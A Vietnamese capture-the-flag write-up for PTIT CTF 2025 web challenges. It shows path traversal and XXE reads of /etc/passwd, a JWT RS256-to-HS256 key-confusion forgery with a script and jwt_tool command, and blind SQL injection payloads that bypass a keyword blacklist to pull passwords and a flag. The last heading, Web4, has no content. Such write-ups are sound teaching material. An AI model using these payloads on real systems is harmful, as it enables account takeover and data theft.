## Web1 (Eassy)
Trang web

Đăng ký đăng nhập vào hệ thống

Bài này có 1 chức năng upload file và sau khi ta upload file ta có thể tải file upload về với tham số truyền vào là filename


Ta thử /etc/passwd cho tham số filename thì trả về nội dung của file .

Ta thấy được file flag nằm trong file /proc/self/environ

Note : Nhưng ở đây trong quá trình fuzzing bằng intruder ta không tìm đọc được nội dung file /proc/self/environ

Ta đọc file flag tìm được cờ

## Web5 (Eassy)
Ta truy cập vào 1 trang web trả về 404 và không có thêm thông tin tìm được trên trang web

Bài này có source code ta bắt đầu phân tích source code
Dựa vào 2 file này ta sẽ có được các route của trang web


Trong quá trình tìm hiểu web chạy ta đi qua các route và khi ta truy cập và route /api/scoreboard thì cờ hiện ra

## Web3 (Medium)

Ta có trang web có mã nguồn sau
```
<script>
document.getElementById('quizForm').addEventListener('submit', function(e) {
e.preventDefault();
const selectedRadio = document.querySelector('input[name="answer"]:checked');
if (selectedRadio) {
const answerKey = selectedRadio.value;
const questionText = "PTIT CTF 2025 có thật sự hấp dẫn?";
const data = {
"question_text": questionText,
"answer": answerKey
};
fetch('/submit_answer', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => response.text())
.then(data => {
alert('Ohsshitttt: ' + data);
})
.catch(error => {
console.error('LỖI KẾT NỐI:', error);
alert('LỖI KẾT NỐI: Không thể truy cập SERVER!');
});
} else {
alert('CHỌN ĐÁP ÁN ĐỂ TIẾP TỤC TRUY VẤN DỮ LIỆU!');
}
});
```

Khi tả gửi dữ liệu tới /submit_answer dưới dạng json và tải lại trang để gửi lần 2 thì sẽ có gợi ý là chỉ chấp nhận application/json và application/xml

Ta nghĩ tới ý tưởng chuyển dạng json về xml và thử lỗ hổng XXE và thành công đọc được file /etc/passwd

Sau khi nhiều lần đọc các file ta tìm ra file flag được chú trích trong file /app/app.py .
Giải này giấu flag sâu ác

Đọc file flag

## Web2 (Medium)

Ta có thể đăng ký tài khoản hay dùng luôn user=admin và pass=admin để đăng nhập vào trang web .
Truy cập trang web có gợi ý là `chỉ có admin mới có thể truy cập vào đường dẫn /admin` .

Và trong cookie có token có giá trị
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NTU5Mjc5MzN9.SrUGp8rY6z5iSpCbeE6S7xWCWH5HhWEPcKMoA6qe4GCa-NqOJxiZySRd6-f0tZdf4McoC9VhbM0p8417RaOeOJsDmBNYIWOpzkbU3nD5UWEork9YjYDwxQJc38GNy7rX7aJlp5o6FqtuV-Pmu8szrsGe43I0w9HSr5oS9mrtPHFWrzU0sLBMLktuvSCx3Wz1IWB3GNxHfSDYNsfbB0gpd4vKOL1k31BvXkcWzYZxHrt4WPI7bV69DHFGEIhgJ1UDhfLy5hlTsxogyF0MovOSkO13LTw3Ec0nn6bkXRsF1uvnk_NIn_DbHOW2PHp31rVZ2D5spFeYlWFhIoURaVPH-A
```

Ta quét các file thư mục ẩn thấy file jwks public bị lộ

**Ý tưởng chính là lỗ hổng jwt và nâng quyền người dùng từ user lên admin**
Ta có ý tưởng về case : JWT RS256 → HS256 key confusion
Đổi thuật toán từ RS256 -> HS256
Sử dụng public key làm secret ký lại
Tạo file public.pem
```
┌──(root㉿lyquockhanh)-[~/Web/jwt_tool]
└─# cat jwks_to_pem.py
import json, base64
from Crypto.PublicKey import RSA
jwks = {
"keys": [
{
"alg": "RS256",
"e": "AQAB",
"kid": "PTIT-CTF",
"kty": "RSA",
"n": "zf1c1FAyg0btbcnxfuQzTQMqpi7RaZ78KQYLT69DgM9lJ6AfkhqUpuLCwK4NL0emQgbj2CkVGvTQKyejhCqQE9RagMgFFl2o2kpJpEIfab08XB0tqJn-q770xUgUQPA1h9PlD2SnHmorVNwOKcKGSj862CryvS2b7Xf3BkKCt_75AlbUGGTS9RumrZIeQYfyVfTERuRtaus3Et2KWwRA_DCAg19k3YGcs2dKqzUZwL-OqogA5PobjrEzlmVuWpe5bIuzW1mP_lkdaEWwJxF2yAZBF_aQlAVYSLMAW3Z2stU3cwLtCb2M2sJOMmn6cG6cBEr3Yw2lgiiQNGne3WJSOw",
"use": "sig"
}
]
}
# lấy modulus và exponent
n_b64 = jwks["keys"][0]["n"]
e_b64 = jwks["keys"][0]["e"]
n = int.from_bytes(base64.urlsafe_b64decode(n_b64 + "=="), "big")
e = int.from_bytes(base64.urlsafe_b64decode(e_b64 + "=="), "big")
# tạo RSA key object
key = RSA.construct((n, e))
# export ra PEM
pub_pem = key.export_key()
print(pub_pem.decode())
┌──(root㉿lyquockhanh)-[~/Web/jwt_tool]
└─# python3 jwks_to_pem.py > public.pem
```
Ký lại tạo ra chữ ký số mới
```
┌──(root㉿lyquockhanh)-[~/Web/jwt_tool]
└─# python3 jwt_tool.py 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NTU5Mjc5MzN9.SrUGp8rY6z5iSpCbeE6S7xWCWH5HhWEPcKMoA6qe4GCa-NqOJxiZySRd6-f0tZdf4McoC9VhbM0p8417RaOeOJsDmBNYIWOpzkbU3nD5UWEork9YjYDwxQJc38GNy7rX7aJlp5o6FqtuV-Pmu8szrsGe43I0w9HSr5oS9mrtPHFWrzU0sLBMLktuvSCx3Wz1IWB3GNxHfSDYNsfbB0gpd4vKOL1k31BvXkcWzYZxHrt4WPI7bV69DHFGEIhgJ1UDhfLy5hlTsxogyF0MovOSkO13LTw3Ec0nn6bkXRsF1uvnk_NIn_DbHOW2PHp31rVZ2D5spFeYlWFhIoURaVPH-A' -X k -pk public.pem -I -pc role -pv admin
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/root/.jwt_tool/jwtconf.ini
Original JWT:
File loaded: public.pem
jwttool_188c0d1537a1e61741c38ba70440e2f2 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzU1OTI3OTMzfQ.RFnTyfM6vRtbKxV-kRIR7sTKC1m-ZJ_jtBEA2U2OBuY
┌──(root㉿lyquockhanh)-[~/Web/jwt_tool]
└─#
```
Thay vào token

## Web0 (Hard)
Trang web

Ta có source code
```
<?php
error_reporting(0);
include("db.php");
function check($input){
$forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|_|information|schema|char|sin|cos|asin|procedure|trim|pad|make|mid";
$forbid .= "substr|compress|where|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--";
if (preg_match("/$forbid/i", $input) or preg_match('/\s/', $input) or preg_match('/[\/\\\\]/', $input) or preg_match('/(--|#|\/\*)/', $input)) {
die('forbidden');
}
}
$user=$_GET['user'];
$pass=$_GET['pass'];
check($user);check($pass);
$sql = @mysqli_fetch_assoc(mysqli_query($db,"SELECT * FROM users WHERE username='{$user}' AND password='{$pass}';"));
if($sql['username']){
echo 'welcome \o/';
die();
}
else{
echo 'wrong !';
die();
}
?>
```
Ta có phương thức GET / truyền vào 2 tham số user và pass . Hai tham số đi hàm check() để lọc và được truyền thẳng vào câu lệnh sql mà không sử dụng `?` . Nếu đúng trả về `welcome \o/` sai trả về `wrong !` gặp phải ký tự trong blacklist trả về `forbidden`
Đọc source code ta nhận ra đây là một bài `blind boolean sql injection + black list`
Thử ký tự `'` thì trang web sẽ trắng tin -> Lỗi 500 thì trang web k trả về gì

Source code đang chặn phần comment `preg_match('/(--|#|\/\*)/', $input))`
Ta bypass bằng cách sử dụng `;%00`
Với payload `/?user=khanh'or'1'='1';%00&pass=khanh` trả về giá trị `True` thì website sẽ trả về `welcome \o/`

Với payload `/?user=khanh'or'1'='2';%00&pass=khanh` trả về giá trị `False` thì website sẽ trả về `wrong !`
Sau khi thử các payload để nghiên cứu cách bypass blaclist
```
function check($input){
$forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|_|information|schema|char|sin|cos|asin|procedure|trim|pad|make|mid";
$forbid .= "substr|compress|where|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--";
if (preg_match("/$forbid/i", $input) or preg_match('/\s/', $input) or preg_match('/[\/\\\\]/', $input) or preg_match('/(--|#|\/\*)/', $input)) {
die('forbidden');
}
}
```
ta sử dụng các hàm sau để bypass
Với chặn phần comment `preg_match('/(--|#|\/\*)/', $input))`
-> Ta bypass bằng cách sử dụng `;%00`
Với chặn khoảng trắng `preg_match('/\s/', $input)` và `0x|0b` và chặn các ký thuật bypass khoảng trắng bằng comment `preg_match('/(--|#|\/\*)/', $input)`
-> Ta bypass bằng sử dụng `()`
Ta bypass việc bị chặn `substr`
-> sử dụng hàm `like` để thay thế `substring`
*Ở đây `like` chưa thật sự tối ưu khi ta trích xuất các ký tự đi sâu vào bài toán ở phía sau sẽ nói chi tiết và có cách thay thế *
### Ý tương 1 : Ban đầu tôi nghĩ flag sẽ nằm trong các trường `username` và `password` của bảng users
Ta sử dụng câu lệnh
`khanh'or(elt(1,username)like'ptitctf%');%00` kiểm tra xem có tồn tại cờ trong trường username không
-> Kết quả trả về `wrong` không chứa trong trường username

Ta sử dụng câu lệnh
`khanh'or(elt(1,password)like'ptitctf%');%00` kiểm tra xem có tồn tại cờ trong trường username không
-> Kết quả trả về `wrong` không chứa trong trường password

##### Phần này tôi cố trích xuất chi tiết nội dung của username và password trong bảng users
Ở đây ban đầu khi tôi test đúng sai cũng biết đến sự tôn tại của `username =admin` hoặc ta sử dụng câu lệnh
```
khanh'or(elt(1,username)like'a%');%00
```
Ta thay giá trị `a` với lần lượt các giá trị từ a-zA-Z0-9 và ký tự đặc biệt .
Ta thu được các tài khoản `admin` , `guest` , `alice`
Ta sử dụng với sử dụng payload
`admin'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `n0t%flag%%` (Ở đây chưa lấy được hết các giá trị do ta vướng các ký tự `x,y,z,b,_` đang bị chặn)

Ta sử dụng với sử dụng payload
`guest'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `guest`

Ta sử dụng với sử dụng payload
`alice'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `wonderland`

Ta thu được chi tiết username và password nhưng thật sử không dùng làm gì cho bài này :)
### Ý tương 2 : flag nằm ngoài bảng users nằm trong bảng khác .
Ta đoán bảng , tôi đoán bảng là `flag` và chứng minh nó tồn tại
```
admin'and(elt(1,(SELECT(id)FROM(flag)))like'ptitctf%');%00
```

Kết quả không nó trả về `wrong` mà không trả về 500(trắng tinh)
-> Tồn tại bảng flag
Tiếp tục kiểm tra sự tồn tại của trường flag
```
admin'and(elt(1,(SELECT(flag)FROM(flag)))like'PTITCTF');%00
```
Kết quả trả về `welcome \o/` -> Tồn tải trường flag và flag nằm trong trường đó :)

Nhưng ở đây trong quá trình ta trích xuất từng giá trị của flag có thể sẽ gặp các ký tự `_,b,x,y,z` và các ký tự này bị chặn nên câu lệnh truy vấn sẽ trả về `forbiden` -> Khó khăn trong trích xuất
Trong LIKE có sử dụng `_` để đại diện cho một ký tự nhưng trong bài này ký tự `_` đã bị chặn
**Thay thế `LIKE` bằng `RLIKE`**
`RLIKE` sẽ sử dụng `.` để đại diện cho một ký tự . Ta sử dụng dấu chấm `.` để đại diện cho ký tự bị block để tiếp tục trích xuất các ký từ đằng sau .
```
admin'and(elt(1,(SELECT(flag)FROM(flag)))rlike'^ptitctf');%00
```

Kết quả ta thu được `ptitctf{n0.w4f.c4n.st0p.m3}`
Dựa vào định dạng hay gặp ta có flag là `PTIT{n0_w4f_c4n_st0p_m3}`
## Web4 (Hard)